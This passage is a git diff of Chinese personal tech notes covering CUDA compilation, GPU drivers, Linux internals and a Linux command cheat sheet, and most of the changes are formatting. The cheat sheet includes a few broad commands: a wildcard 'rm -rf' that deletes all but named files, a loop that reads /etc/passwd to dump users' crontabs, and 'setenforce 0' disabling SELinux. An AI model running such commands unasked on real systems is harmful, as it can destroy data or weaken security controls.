PTX可以被当前机器Driver中的jit编译器编译成与当前GPU对应的SASS代码。这样就实现了代码的可移植性和向后兼容。 - PTX - 1. 是一个稳定的编程模型和指令集,是Virtual Architecture的汇编产物。 - 2. 这个ISA能够跨越多种GPU,并且能够优化代码的编译等等。 - 3. Real Architecture提供的是真实GPU上的指令集,也是最终CUDA程序运行的指令集SASS + 1. 是一个稳定的编程模型和指令集,是Virtual Architecture的汇编产物。 + 2. 这个ISA能够跨越多种GPU,并且能够优化代码的编译等等。 + 3. Real Architecture提供的是真实GPU上的指令集,也是最终CUDA程序运行的指令集SASS ## Compute Shader -- Compute Shader是一种技术,是微软DirectX 11 API新加入的特性,在Compute Shader的帮助下,程序员可直接将GPU作为并行处理器加以利用。 +- Compute Shader是一种技术,是微软DirectX 11 API新加入的特性,在Compute Shader的帮助下,程序员可直接将GPU作为并行处理器加以利用。 ## GPU运行环境 + ### 显卡信息 + ```bash # lspci指令 @@ -113,13 +135,15 @@ modinfo ${driver} # 通过显卡驱动名称查看显卡驱动的详情 ``` ### cuda编译器 -- NVIDIA CUDA toolkit 和 NVIDIA CUDA驱动 - - https://developer.nvidia.com/cuda-downloads - - https://developer.nvidia.com/cuda-toolkit-archive - - https://docs.nvidia.com/cuda/cuda-installation-guide-linux/index.html#environment-setup # 安装完设置环境变量 ``export PATH=/usr/local/cuda-11.8/bin${PATH:+:${PATH}}`` - - CUDA Toolkit 11.7.0 11.7.0_515.43.04 - - CUDA Toolkit 11.7.1 11.7.1_515.65.01 - - CUDA Toolkit 11.8.0 11.8.0_520.61.05 + +- NVIDIA CUDA toolkit 和 NVIDIA CUDA驱动 + - https://developer.nvidia.com/cuda-downloads + - https://developer.nvidia.com/cuda-toolkit-archive + - https://docs.nvidia.com/cuda/cuda-installation-guide-linux/index.html#environment-setup # 安装完设置环境变量 `export PATH=/usr/local/cuda-11.8/bin${PATH:+:${PATH}}` + - CUDA Toolkit 11.7.0 11.7.0_515.43.04 + - CUDA Toolkit 11.7.1 11.7.1_515.65.01 + - CUDA Toolkit 11.8.0 11.8.0_520.61.05 + ```bash # CUDA的编译器 apt update @@ -155,7 +179,9 @@ dkms install -m nvidia -v $(ls /usr/src | grep nvidia | awk -v FS='-' '{print $2 ``` ### 报错解决 + - Failed to initialize NVML: Driver/library version mismatch + ```bash # 1.卸载驱动 apt-get purge nvidia* @@ -168,10 +194,11 @@ apt install nvidia-driver-* ``` ## 编程 + - CUDA编程 - - 在GPU上执行的函数通常称为核函数。 - - 以线程格(Grid)的形式组织,每个线程格由若干个线程块(block)组成,而每个线程块又由若干个线程(thread)组成。 - - 以block为单位执行的。 + - 在GPU上执行的函数通常称为核函数。 + - 以线程格(Grid)的形式组织,每个线程格由若干个线程块(block)组成,而每个线程块又由若干个线程(thread)组成。 + - 以block为单位执行的。 ```c #include "cuda_runtime.h" @@ -187,6 +214,7 @@ int main() return 0; } ``` + ```bash # -gencode= 用来控制具体要生成哪些PTX和SASS代码;多个 -gencode=* 可以支持多个虚拟架构列表。 # arch=compute_30 表示基于compute_30的virtual GPU architecture @@ -196,4 +224,4 @@ int main() nvcc cudatest.cu -o cudatest -gencode=arch=compute_30,code=\"sm_30,compute_30\" -gencode=arch=compute_52,code=\"sm_52,compute_52\" -gencode=arch=compute_75,code=\"sm_75,compute_75\" cuobjdump -ptx cudatest # 导出PTX代码 cuobjdump -sass cudatest # 导出SASS代码 -``` \ No newline at end of file +``` diff --git a/linux/gui.md b/linux/gui.md index bc218fe..48e0b4b 100644 --- a/linux/gui.md +++ b/linux/gui.md @@ -1,4 +1,11 @@ +--- +created_date: 2024-01-02 +--- + +[TOC] + ## 安装GUI + ```bash # 安装gnome客户端 sudo apt update @@ -9,6 +16,7 @@ systemctl start gdm3 ``` ## 自动化点击 + ```bash apt-get install xdotool -y # yum install xdotool -y @@ -34,4 +42,4 @@ xdotool key alt+Tab # 输入 xdotool type '' -``` \ No newline at end of file +``` diff --git a/linux/linux-OS.md b/linux/linux-OS.md index 23340a2..1054c53 100644 --- a/linux/linux-OS.md +++ b/linux/linux-OS.md @@ -1,120 +1,164 @@ +--- +created_date: 2021-05-13 +--- + [TOC] + - Linux系统讲解 - 参考 - - https://en.wikipedia.org/wiki/Filesystem_Hierarchy_Standard - - https://c.isme.pub/2019/02/18/linux-proc/ + - https://en.wikipedia.org/wiki/Filesystem_Hierarchy_Standard + - https://c.isme.pub/2019/02/18/linux-proc/ ## 起源 + - Linux 内核最初是由李纳斯•托瓦兹(Linus Torvalds)在赫尔辛基大学读书时出于个人爱好而编写的,当时他觉得教学用的迷你版 UNIX 操作系统 Minix 太难用了,于是决定自己开发一个操作系统。 - Linux 系统第 1 版本于 1991 年 9 月发布,当时仅有 10 000 行代码。 - Linux 是一套免费使用和自由传播的类 Unix 操作系统,是一个基于 POSIX 标准和 UNIX 的多用户、多任务、支持多线程和多 CPU 的操作系统。 - - POSIX 可移植操作系统接口(Portable Operating System Interface) + - POSIX 可移植操作系统接口(Portable Operating System Interface) ## Linux系统主要组成 + 1. Linux内核 - 1. 对下,管理系统的所有硬件设备,对硬件访问进行抽象(例如磁盘,显示,网络接口卡(NIC)),从而形成一套系统调用接口。 - 2. 对内,通过一系列子系统,来负责整个系统资源的分配与管理。 - 1. 文件系统管理 - 2. 内存管理 - 3. 进程管理 - 4. 网络接口 - 3. 对上,提供系统调用接口,给Library Routine(例如C库)或者其它应用程序进行访问。 -2. Linux Shell + 1. 对下,管理系统的所有硬件设备,对硬件访问进行抽象(例如磁盘,显示,网络接口卡(NIC)),从而形成一套系统调用接口。 + 2. 对内,通过一系列子系统,来负责整个系统资源的分配与管理。 + 1. 文件系统管理 + 2. 内存管理 + 3. 进程管理 + 4. 网络接口 + 3. 对上,提供系统调用接口,给Library Routine(例如C库)或者其它应用程序进行访问。 + +2. Linux Shell 3. 文件系统 4. 文件目录 - 1. bin: 放置在单人维护模式下还能够被操作的指令。这些指令可以被所有的用户使用。主要有:cat,chmod(修改权限), chown, date, mv, mkdir, cp, bash等等常用的指令。 - 2. boot: 系统启动的必须文件。 - 3. dev: 系统的外部设备。 - 4. etc: 系统的所有配置文件。采用系统包管理器安装的的服务配置文件全部保存在此目录中。 - 5. home: 普通用户的默认主目录位置。 - 6. lib: 动态链接库存放的位置。 - 7. mnt: 挂载额外的设备,如 U 盘、移动硬盘和其他操作系统的分区。/media 或 /misc 也是。 - 8. opt:安装的第三方软件。 - 9. root: root目录。 - 10. sbin: 放置用来设定系统环境的指令。这些指令只有root才能够利用来设定系统。包括了开机、修复、还原系统所需要的指令。 - 11. tmp:临时文件。 - 12. usr: Unix Software Resource。所有通过系统安装的软件都存储在 /usr 目录下。 - 13. var: 用于存储动态数据,例如缓存、日志文件、软件运行过程中产生的文件等。 - - 14. lost+found: 使用标准的ext2/ext3文档系统格式才会产生的一个目录,目的在于当文件系统发生错误时,将一些遗失的片段放置到这个目录下。 - 15. inired:临时目录,初始化引导时候用 - 16. proc: 虚拟文件系统。该目录中的数据并不保存在硬盘上,而是保存到内存中。主要保存系统的内核、进程、外部设备状态和网络状态等 - 17. sys: 虚拟文件系统。和 /proc/ 目录相似,该目录中的数据都保存在内存中,主要保存与内核相关的信息。 + + 01. bin: 放置在单人维护模式下还能够被操作的指令。这些指令可以被所有的用户使用。主要有:cat,chmod(修改权限), chown, date, mv, mkdir, cp, bash等等常用的指令。 + + 02. boot: 系统启动的必须文件。 + + 03. dev: 系统的外部设备。 + + 04. etc: 系统的所有配置文件。采用系统包管理器安装的的服务配置文件全部保存在此目录中。 + + 05. home: 普通用户的默认主目录位置。 + + 06. lib: 动态链接库存放的位置。 + + 07. mnt: 挂载额外的设备,如 U 盘、移动硬盘和其他操作系统的分区。/media 或 /misc 也是。 + + 08. opt:安装的第三方软件。 + + 09. root: root目录。 + + 10. sbin: 放置用来设定系统环境的指令。这些指令只有root才能够利用来设定系统。包括了开机、修复、还原系统所需要的指令。 + + 11. tmp:临时文件。 + + 12. usr: Unix Software Resource。所有通过系统安装的软件都存储在 /usr 目录下。 + + 13. var: 用于存储动态数据,例如缓存、日志文件、软件运行过程中产生的文件等。 + + 14. lost+found: 使用标准的ext2/ext3文档系统格式才会产生的一个目录,目的在于当文件系统发生错误时,将一些遗失的片段放置到这个目录下。 + + 15. inired:临时目录,初始化引导时候用 + + 16. proc: 虚拟文件系统。该目录中的数据并不保存在硬盘上,而是保存到内存中。主要保存系统的内核、进程、外部设备状态和网络状态等 + + 17. sys: 虚拟文件系统。和 /proc/ 目录相似,该目录中的数据都保存在内存中,主要保存与内核相关的信息。 ## Linux系统接口 + 1. Linux系统提供了一套具体设备的抽象接口,比如字符设备, 块设备,网络设备,位图显示器等等。 2. Linux系统将内核的功能接口制作成系统调用(system call),系统调用是操作系统的最小功能单位,一个系统调用函数就像是汉字的一个笔画。 3. Linux系统定义一些库函数(library routine)来将系统调用组合成某些常用的功能,库函数就像是汉字的偏旁部首。 - ## Linux系统一切皆文件 + - Linux系统中所有内容都是以文件的形式保存和管理的,即一切皆文件。 - 1. 普通文件是文件,目录(Windows 下称为文件夹)是文件。 - 2. 硬件设备(键盘、监视器、硬盘、打印机)是文件。 - 3. 套接字(socket)、网络通信等资源也都是文件。 + 1. 普通文件是文件,目录(Windows 下称为文件夹)是文件。 + 2. 硬件设备(键盘、监视器、硬盘、打印机)是文件。 + 3. 套接字(socket)、网络通信等资源也都是文件。 ## /proc虚拟目录 + ### 概要 + 1. /proc 是Linux 虚拟文件系统文件夹;是Linux内核信息的抽象文件接口;内核运行时参数保存在/proc里面。 2. 在运行时可以通过访问/proc文件夹 来获取Linux内核内部数据结构、改变Linux内核设置。 3. proc文件系统是一个伪文件系统,它只存在内存当中,而不占用磁盘空间。 + ### 主要组成 + 1. 进程相关部分 - - /proc目录下以数字为名的子目录,这个数字就是相关进程的进程ID。 - 1. statm 显示进程所占用内存大小的统计信息 - 2. stat 包含了所有CPU活跃的信息,该文件中的所有值都是从系统启动开始累计到当前时刻 - 3. cgroup + + - /proc目录下以数字为名的子目录,这个数字就是相关进程的进程ID。 + + 1. statm 显示进程所占用内存大小的统计信息 + 2. stat 包含了所有CPU活跃的信息,该文件中的所有值都是从系统启动开始累计到当前时刻 + 3. cgroup 2. 内核信息部分 - - /proc目录下的只读文本文件 - 1. cgroups 资源隔离 - 2. cpuinfo cpu相关信息 - 3. stat 包含CPU利用率,磁盘,内存页,内存对换,全部中断,接触开关以及赏赐自举时间(自1970年1月1日起的秒数)。 - 4. net/ -> self/net/ 此目录下的文件描述或修改了联网代码的行为。可以通过arp,netstat,route和ipfwadm命令设置或查询这些特殊文件中的许多文件。 -3. 内核各子系统相关部分 (部分可调) - - /proc目录下一些并非以数字命名的特殊目录 - 1. 内核参数 etc + - /proc目录下的只读文本文件 + + 1. cgroups 资源隔离 + 2. cpuinfo cpu相关信息 + 3. stat 包含CPU利用率,磁盘,内存页,内存对换,全部中断,接触开关以及赏赐自举时间(自1970年1月1日起的秒数)。 + 4. net/ -> self/net/ 此目录下的文件描述或修改了联网代码的行为。可以通过arp,netstat,route和ipfwadm命令设置或查询这些特殊文件中的许多文件。 + +3. 内核各子系统相关部分 (部分可调) + + - /proc目录下一些并非以数字命名的特殊目录 + + 1. 内核参数 etc ## 各个系统版本 + - 都是基于Linux Kernel开发而成 -- + +- + - 主要差异 - 1. UI - 2. 包管理系统/软件源 + + 1. UI + 2. 包管理系统/软件源 - Ubuntu 版本 - - Focal Fossa Ubuntu20 - - Bionic Beaver Ubuntu18 - - Xenial Xerus Ubuntu16 + + - Focal Fossa Ubuntu20 + - Bionic Beaver Ubuntu18 + - Xenial Xerus Ubuntu16 ## 子系统 + ### 进程线程 + - 进程是系统进行资源分配和调度的基本单位。 - 线程是操作系统能够进行运算调度的最小单位。 ## IO多路复用机制 + - I/O多路复用又被称为“事件驱动”。 -- I/O多路复用是什么: 实现一个线程可以监视多个文件句柄。 +- I/O多路复用是什么: 实现一个线程可以监视多个文件句柄。 - 目前Linux系统中提供了5种IO处理模型 - 1. 阻塞IO - 2. 非阻塞IO - 3. IO多路复用 - 4. 信号驱动IO - 5. 异步IO + + 1. 阻塞IO + 2. 非阻塞IO + 3. IO多路复用 + 4. 信号驱动IO + 5. 异步IO - 目前IO多路复用的方案 - - select - - 循环遍历所有的描述符,并在内核太和用户太之间拷贝 - - 默认的管理的最大文件描述符数量是1024个 - - poll - - 同select机制,但使用了动态数组所所以文件描述符数量没有限制 - - epoll - - 内核太和用户太共享某一段内存,避免了相互拷贝的资源开销 - - 使用红黑树结构存储数据 + - select + - 循环遍历所有的描述符,并在内核太和用户太之间拷贝 + - 默认的管理的最大文件描述符数量是1024个 + - poll + - 同select机制,但使用了动态数组所所以文件描述符数量没有限制 + - epoll + - 内核太和用户太共享某一段内存,避免了相互拷贝的资源开销 + - 使用红黑树结构存储数据 diff --git a/linux/linux-cmd.md b/linux/linux-cmd.md index 4610ded..10fc001 100644 --- a/linux/linux-cmd.md +++ b/linux/linux-cmd.md @@ -1,6 +1,11 @@ +--- +created_date: 2025-01-09 +--- + [TOC] ### 查看CPU数量 + ```bash # 查看物理CPU个数 cat /proc/cpuinfo| grep "physical id"| sort| uniq| wc -l @@ -10,7 +15,8 @@ cat /proc/cpuinfo| grep "cpu cores"| uniq cat /proc/cpuinfo| grep "processor"| wc -l ``` -### curl +### curl + - -o 保存结果进自定义名字文件里面 - -x 设置代理 - -l 只返回head信息 @@ -18,7 +24,7 @@ cat /proc/cpuinfo| grep "processor"| wc -l - -C 断点续传 - -L 请求时跟随链接跳转 - -T 上传文件 curl -T picture.jpg -u 用户名:密码 ftp://www.linux.com/img/ -- -H 自定义头信息,例如指定host -H 'Host: baidu.com' +- -H 自定义头信息,例如指定host -H 'Host: baidu.com' - -A (or --user-agent): 设置 "User-Agent" 字段. - -b (or --cookie): 设置 "Cookie" 字段. - -e (or --referer): 设置 "Referer" 字段. @@ -33,10 +39,12 @@ curl -d '{"key1":"value1", "key2":"value2"}' -H "Content-Type: application/json" ``` ### crontab + 1. 配置crontab - vim /etc/crontab + vim /etc/crontab 2. 获取所有的job任务 + ```bash for u in `cat /etc/passwd | cut -d":" -f1`;do crontab -l -u $u;done # 或者 @@ -45,7 +53,9 @@ cd /var/spool/cron && cat * # and cat /etc/crontab ``` + 3. crontab + ```bash * * * * * # 每分钟执行 0 * * * * # 每小时执行 @@ -59,15 +69,18 @@ cat /etc/crontab ``` ### websocket连通性测试 -1. + +1. + apt install node-ws (ubuntu16) npm install -g wscat (centos) wscat -c ws://IP:PORT -2. +2\. 游览器 new WebSocket("wss://XXX.XXX.XXX.XXX:9944"); ### journalctl + ```bash journalctl -ef -n 100 -p 4 # -e 从末行开始显示 @@ -96,6 +109,7 @@ journalctl --vacuum-size=500M ``` ### swap + ```bash # 创建用于交换分区的文件 dd if=/dev/zero of=/swapfile bs=1M count=2048 @@ -110,13 +124,16 @@ cat /proc/sys/vm/swappiness ``` ### 虚拟化 + 1. PV AMI: 半虚拟化 2. HVM: aws目前使用的 3. XEM 4. KVM + - Linux Amazon 系统映像(AMI)使用两种虚拟化类型之一:半虚拟化 (PV) 或硬件虚拟机 (HVM)。 ### 压缩 + ```bash # 排除某个文件夹 --exclude=${filename}/filename @@ -144,16 +161,18 @@ xz -dk ${文件名} # 保留原文件解压 ``` ### gRPC测试工具 + - https://github.com/bojand/ghz - wget https://github.com/bojand/ghz/releases/download/v0.90.0/ghz-linux-x86_64.tar.gz - 参数 - - -c 并发数量 default 50 - - -n 总共的请求数量 default 200 - - --call 请求的方法 - - --insecure - - -m 元数据 + - -c 并发数量 default 50 + - -n 总共的请求数量 default 200 + - --call 请求的方法 + - --insecure + - -m 元数据 ### 内核报错 + ```bash dmesg -T -w @@ -165,7 +184,8 @@ dmesg -T -w cat /var/log/messages ``` -### ps & top & lsof +### ps & top & lsof + ```bash # - ps指令的安装 apt-get install procps @@ -183,6 +203,7 @@ ps -A -o comm,pmem,pcpu | sort | uniq -c | head -15 ps -eo pid,ppid,%mem,%cpu,cmd --sort=-%mem | head ps -eo pid,ppid,%mem,%cpu,comm --sort=-%mem | head ``` + ```bash # top 只显示一次CPU资源使用信息 top -n 1 @@ -194,12 +215,14 @@ top -H -p ${pid} top -c -b -o +%MEM | head -n 20 | tail -15 top -b -o +%MEM | head -n 20 | tail -15 ``` + ```bash # lsof(list open files)是一个列出当前系统打开文件的工具 lsof -i @fw.google.com:2150=2180 ``` ### htop + ```bash # 一个基于ncurses的交互进程查看器 htop @@ -211,41 +234,46 @@ htop # -s --sort-key COLUMN  依此列来排序 # -v –version        显示版本信息 ``` + - 交互式界面从左到右依次各项的含义 - 1. PID 表示进程的标识号。 - 2. USER 表示运行此进程的用户。 - 3. PRI 表示进程的优先级。 - 4. NI 表示进程的优先级别值,默认的为0,可以进行调整。 - 5. VIRT 表示进程占用的虚拟内存值。 - 6. RES 表示进程占用的物理内存值。 - 7. SHR 表示进程占用的共享内存值。 - 8. S 表示进程的运行状况,R表示正在运行、S表示休眠,等待唤醒、Z表示僵死状态。 - 9. %CPU 表示该进程占用的CPU使用率。 - 10. %MEM 表示该进程占用的物理内存和总内存的百分比。 - 11. TIME+ 表示该进程启动后占用的总的CPU时间。 - 12. COMMAND 表示进程启动的启动命令名称。 + + 01. PID 表示进程的标识号。 + 02. USER 表示运行此进程的用户。 + 03. PRI 表示进程的优先级。 + 04. NI 表示进程的优先级别值,默认的为0,可以进行调整。 + 05. VIRT 表示进程占用的虚拟内存值。 + 06. RES 表示进程占用的物理内存值。 + 07. SHR 表示进程占用的共享内存值。 + 08. S 表示进程的运行状况,R表示正在运行、S表示休眠,等待唤醒、Z表示僵死状态。 + 09. %CPU 表示该进程占用的CPU使用率。 + 10. %MEM 表示该进程占用的物理内存和总内存的百分比。 + 11. TIME+ 表示该进程启动后占用的总的CPU时间。 + 12. COMMAND 表示进程启动的启动命令名称。 - 交互式界面指令 - 1. F1 或者h 查看帮助文档。 - 2. F2 或者S 设置htop - 3. / 或者F3 搜索进程。 - 4. \ 或者F4 增量进程过滤器。 - 5. t 或者F5 显示树形结构。 - 6. F6 +,- 按照某个指标进行排序。 - 7. ] 或者F7 可提高nice值可以提高对应进程的优先级 - 8. [ 或者F8 可减少nice值可以提高对应进程的优先级 - 9. k 或者 F9 杀掉进程。 - 10. q 或者F10 结束htop。 - 11. u 只显示一个给定的用户的进程。 - 12. H 显示或隐藏用户线程。 - 13. K 显示或隐藏内核线程。 - 14. F 跟踪进程。 - 15. P 按CPU 使用排序。 - 16. M 按内存使用排序。 - 17. T 按Time+ 使用排序。 + + 01. F1 或者h 查看帮助文档。 + 02. F2 或者S 设置htop + 03. / 或者F3 搜索进程。 + 04. \\ 或者F4 增量进程过滤器。 + 05. t 或者F5 显示树形结构。 + 06. F6 +,- 按照某个指标进行排序。 + 07. \] 或者F7 可提高nice值可以提高对应进程的优先级 + 08. \[ 或者F8 可减少nice值可以提高对应进程的优先级 + 09. k 或者 F9 杀掉进程。 + 10. q 或者F10 结束htop。 + 11. u 只显示一个给定的用户的进程。 + 12. H 显示或隐藏用户线程。 + 13. K 显示或隐藏内核线程。 + 14. F 跟踪进程。 + 15. P 按CPU 使用排序。 + 16. M 按内存使用排序。 + 17. T 按Time+ 使用排序。 ### sysstat + - 分析服务器的性能和资源的使用效率。可以监控CPU、硬盘、网络等数据. + ```bash # 安装 # git://github.com/sysstat/sysstat @@ -260,6 +288,7 @@ sar -V # 每10秒钟输出一次磁盘 I/O 情况,持续输出5次 sar -d 10 --human ``` + ```sh # iostat 工具提供CPU使用率及硬盘吞吐效率的数据 # -x 显示扩展统计信息(包括设备的详细IO情况) @@ -274,11 +303,12 @@ pidstat -d 5 --human ``` - ### awk + - 概览 - - 字段 Item - - 记录 Record + - 字段 Item + - 记录 Record + ```bash # 内置变量 # FS:输入Item分隔符,默认为空白字符 @@ -330,6 +360,7 @@ awk '!seen[$0]++' info.txt > temp.txt && mv temp.txt info.txt ``` ### 数学计算 + ```bash echo "2/3" | bc -l # scale=3 保留几位小数 @@ -337,7 +368,9 @@ echo "scale=3; ${num}*5/60/60" | bc -l ``` ### taskset CPU隔离 + - taskset 设置和查看CPU和进程间的亲和性 + ```bash # 查看线程和CPU间的亲和性 taskset -p ${PID} @@ -380,7 +413,9 @@ update-grub # grub-mkconfig -o /boot/grub/grub.cfg # 或者重启 ``` ### screen + - screen 窗口退出后会继续运行在后台,可以替代nohup + ```bash # 创建一个screen screen -l @@ -403,27 +438,25 @@ screen -L -Logfile mylog.txt -S ${screenName} ``` ## 未归类 -获取公网IP : -curl cip.cc + +获取公网IP : +curl cip.cc curl ipinfo.io -查看CentOS版本 cat /etc/issue 或者 cat /etc/redhat-release +查看CentOS版本 cat /etc/issue 或者 cat /etc/redhat-release 查看Ubunto版本 cat /etc/lsb-release yum install bind-utils -y 此软件含nslookup指令 进入容器 -docker inspect -f {{.State.Pid}} 容器名或者容器id -nsenter -n --target PID名称 - +docker inspect -f {{.State.Pid}} 容器名或者容器id\ +nsenter -n --target PID名称 linux环境测网速 curl -O https://raw.githubusercontent.com/sivel/speedtest-cli/master/speedtest.py - netstat apt-get install net-tools - ```bash # 只要./test.lock的当前状态未被外部改变,其它flock ./test.lock的就执行失败,直到当前的flock执行结束 flock -xn ./test.lock -c "sh ./test.sh" @@ -432,30 +465,30 @@ flock -xn ./test.lock -c "sh ./test.sh" ``` 查看内核报错 + - 参考 -https://blog.csdn.net/zhaohaijie600/article/details/45246569 + https://blog.csdn.net/zhaohaijie600/article/details/45246569 + ```log php-fpm-7.1[60143]: segfault at 0 ip 00007fbc4e998ff1 sp 00007ffe5b9c3238 error 4 in libc-2.17.so[7fbc4e82a000+1c3000] ``` -1. 程序名 php-fpm-7.1 -2. 线程PID 60143 -3. 标识应该是由内存访问越界造成的 segfault -4. 具体的错误 error 4 - 1. error 4 转为二进制 error 100 - 2. error ${bit2}${bit1}${bit0} - 1. bit2: 值为1表示是用户态程序内存访问越界,值为0表示是内核态程序内存访问越界. - 2. bit1: 值为1表示是写操作导致内存访问越界,值为0表示是读操作导致内存访问越界. - 3. bit0: 值为1表示没有足够的权限访问非法地址的内容,值为0表示访问的非法地址根本没有对应的页面,也就是无效地址. - + +1. 程序名 php-fpm-7.1 +2. 线程PID 60143 +3. 标识应该是由内存访问越界造成的 segfault +4. 具体的错误 error 4 + 1. error 4 转为二进制 error 100 + 2. error ${bit2}${bit1}${bit0} + 1. bit2: 值为1表示是用户态程序内存访问越界,值为0表示是内核态程序内存访问越界. + 2. bit1: 值为1表示是写操作导致内存访问越界,值为0表示是读操作导致内存访问越界. + 3. bit0: 值为1表示没有足够的权限访问非法地址的内容,值为0表示访问的非法地址根本没有对应的页面,也就是无效地址. 查看/tmp目录下每个子目录文件的数量 for i in /tmp; do echo $i; find $i |wc -l|sort -nr; done - 除特定文件外删除所有 rm -rf !(.a|.|..) - ping 缺失 apt-get install iputils-ping @@ -477,14 +510,13 @@ sed -i "/^name/c\name=$var" 文件名 ``` - 删除Evicted状态的Pod -kubectl get pods | grep Evicted | awk '{print $1}' | xargs kubectl delete pod - + kubectl get pods | grep Evicted | awk '{print $1}' | xargs kubectl delete pod - 查看网络连接 -netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}' - + netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}' - 查看某个节点的所有pod的top + ```bash nodename=XXXX kubectl get pods -o wide | grep ${nodename} | awk {'print $1'} | xargs -n1 kubectl top pods --no-headers @@ -516,43 +548,47 @@ kill -KILL ${PID} kill -15 ${PID} ``` - - linux系统语言中英文切换 - ```bash - # 永久切换 - vim /etc/locale.conf # 或者 vim /etc/sysconfig/i18n - # 然后更改配置 LANG=en_US.UTF-8 或者 LANG=zh_CN.UTF-8 - source /etc/locale.conf - # 临时切换 - export LANG="zh_CN.UTF-8" # 中文 - export LANG="en_US.UTF-8" # 英文 - ``` + ```bash + # 永久切换 + vim /etc/locale.conf # 或者 vim /etc/sysconfig/i18n + # 然后更改配置 LANG=en_US.UTF-8 或者 LANG=zh_CN.UTF-8 + source /etc/locale.conf + + # 临时切换 + export LANG="zh_CN.UTF-8" # 中文 + export LANG="en_US.UTF-8" # 英文 + ``` - cpu负载,cpu使用率 - ```bash - ps -aux - # 系统中可运行(R)和不可中断(D)进程 - # R:正在CPU上运行或者正在等待CPU的进程状态 - # D:不可中断是指一些正在处于内核关键流程的进程,如果盲目打断,会造成不可预知的后果,比如正在写磁盘的进程,盲目被打断,可能会造成读写不一致的问题。 - CPU的使用率 = 单位时间内CPU执行任务的时间 / 单位时间 - CPU平均负载 = 特定时间内运行队列中的平均进程数量(可运行状态和不可中断状态的进程) - ``` + + ```bash + ps -aux + # 系统中可运行(R)和不可中断(D)进程 + # R:正在CPU上运行或者正在等待CPU的进程状态 + # D:不可中断是指一些正在处于内核关键流程的进程,如果盲目打断,会造成不可预知的后果,比如正在写磁盘的进程,盲目被打断,可能会造成读写不一致的问题。 + CPU的使用率 = 单位时间内CPU执行任务的时间 / 单位时间 + CPU平均负载 = 特定时间内运行队列中的平均进程数量(可运行状态和不可中断状态的进程) + ``` ### 排查问题 + - dmesg 并发量太大导致三次握手时超过资源限制,需要调整内核参数 + ```log SYN flooding on port 80. Sending cookies. Check SNMP counters. ``` ### 休眠问题 + ```bash # 关掉所有的休眠服务 systemctl mask sleep.target suspend.target hibernate.target hybridsleep.target ``` - ### grep + ```bash # -E 使用正则表达式 # -i 忽视大小写 @@ -560,10 +596,10 @@ systemctl mask sleep.target suspend.target hibernate.target hybridsleep.target ``` - 通过主线程名字查看所有子线程 - - ps -ef | grep ${process_name} | grep -v grep | awk '{print $2}' | xargs ps -T -p - + - ps -ef | grep ${process_name} | grep -v grep | awk '{print $2}' | xargs ps -T -p ### jq + ```bash jq .元素名字.元素名字 jq .[数组索引] @@ -572,6 +608,7 @@ jq -r # 输出字符串原始值而不是字符串 JSON 序列化后的值 ``` ### linux默认编辑器 + ```bash # 更改默认编辑器 方式一 update-alternatives --config editor @@ -582,6 +619,7 @@ export EDITOR="/usr/bin/vim" ``` ### iotop 进程IO监控 + ```bash iotop -oP # -o 只显示有I/O行为的线程 @@ -589,6 +627,7 @@ iotop -oP ``` ### 日志颜色 + ```bash apt install expect # 保留日志的颜色进文件内 @@ -596,7 +635,8 @@ unbuffer 可执行程序 >> log unbuffer 可执行程序 | tee log ``` -### prlimit +### prlimit + - prlimit 这个命令用来设置或者获取某进程的资源限制数. ```bash @@ -608,6 +648,7 @@ prlimit --pid=9999 --nofile=102400:102400 ``` ### linux和windows + ```bash # Windows 和 Linux 之间文本格式转换 # yum install -y dos2unx @@ -615,6 +656,7 @@ dos2unix ${filename} ``` ### 升级内核 + ```bash # Update and upgrade existing packages sudo apt update && sudo apt full-upgrade -y @@ -629,7 +671,9 @@ dpkg --configure -a; apt --fix-broken install -y; DEBIAN_FRONTEND=noninteractive ``` ### linux 命令 + 1. selinux + ```bash # 查看当前selinux功能情况 sestatus -v @@ -641,6 +685,7 @@ setenforce 0 ``` ## 增加用户 + ```sh # 自动在/home目录下会自动创建同名文件夹 # 自动创建同名用户组 @@ -654,48 +699,47 @@ useradd ${用户名} userdel -r ${用户名} ``` - - # Unix命令行程序和内建指令 -文件系统 -▪ cat ▪ cd ▪ chmod ▪ chown -▪ chgrp ▪ cksum ▪ cmp ▪ cp -▪ du ▪ df ▪ fsck ▪ fuser -▪ ln ▪ ls ▪ lsattr ▪ lsof -▪ mkdir ▪ mount ▪ mv ▪ pwd -▪ rm ▪ rmdir ▪ split ▪ touch -▪ umask -程序 -▪ at ▪ bg ▪ chroot ▪ cron -▪ exit ▪ fg ▪ jobs ▪ kill -▪ killall ▪ nice ▪ pgrep ▪ pidof -▪ pkill ▪ ps ▪ pstree ▪ sleep -▪ time ▪ top ▪ wait -使用环境 -▪ env ▪ finger ▪ id ▪ logname -▪ mesg ▪ passwd ▪ su ▪ sudo -▪ uptime ▪ w ▪ wall ▪ who -▪ whoami ▪ write -文字编辑 -▪ awk ▪ comm ▪ cut ▪ ed -▪ ex ▪ fmt ▪ head ▪ iconv -▪ join ▪ less ▪ more ▪ paste -▪ sed ▪ sort ▪ strings ▪ talk -▪ tac ▪ tail ▪ tr ▪ uniq -▪ vi ▪ wc ▪ xargs -Shell 程序 -▪ alias ▪ basename ▪ dirname ▪ echo -▪ expr ▪ false ▪ printf ▪ test -▪ true ▪ unset -网络 -▪ inetd ▪ netstat ▪ ping ▪ rlogin -▪ netcat ▪ traceroute -搜索 -▪ find ▪ grep ▪ locate ▪ whereis -▪ which -杂项 -▪ apropos ▪ banner ▪ bc ▪ cal -▪ clear ▪ date ▪ dd ▪ file -▪ help ▪ info ▪ size ▪ lp -▪ man ▪ history ▪ tee ▪ tput -▪ type ▪ yes ▪ uname ▪ whatis \ No newline at end of file + +文件系统 +▪ cat ▪ cd ▪ chmod ▪ chown +▪ chgrp ▪ cksum ▪ cmp ▪ cp +▪ du ▪ df ▪ fsck ▪ fuser +▪ ln ▪ ls ▪ lsattr ▪ lsof +▪ mkdir ▪ mount ▪ mv ▪ pwd +▪ rm ▪ rmdir ▪ split ▪ touch +▪ umask +程序 +▪ at ▪ bg ▪ chroot ▪ cron +▪ exit ▪ fg ▪ jobs ▪ kill +▪ killall ▪ nice ▪ pgrep ▪ pidof +▪ pkill ▪ ps ▪ pstree ▪ sleep +▪ time ▪ top ▪ wait +使用环境 +▪ env ▪ finger ▪ id ▪ logname +▪ mesg ▪ passwd ▪ su ▪ sudo +▪ uptime ▪ w ▪ wall ▪ who +▪ whoami ▪ write +文字编辑 +▪ awk ▪ comm ▪ cut ▪ ed +▪ ex ▪ fmt ▪ head ▪ iconv +▪ 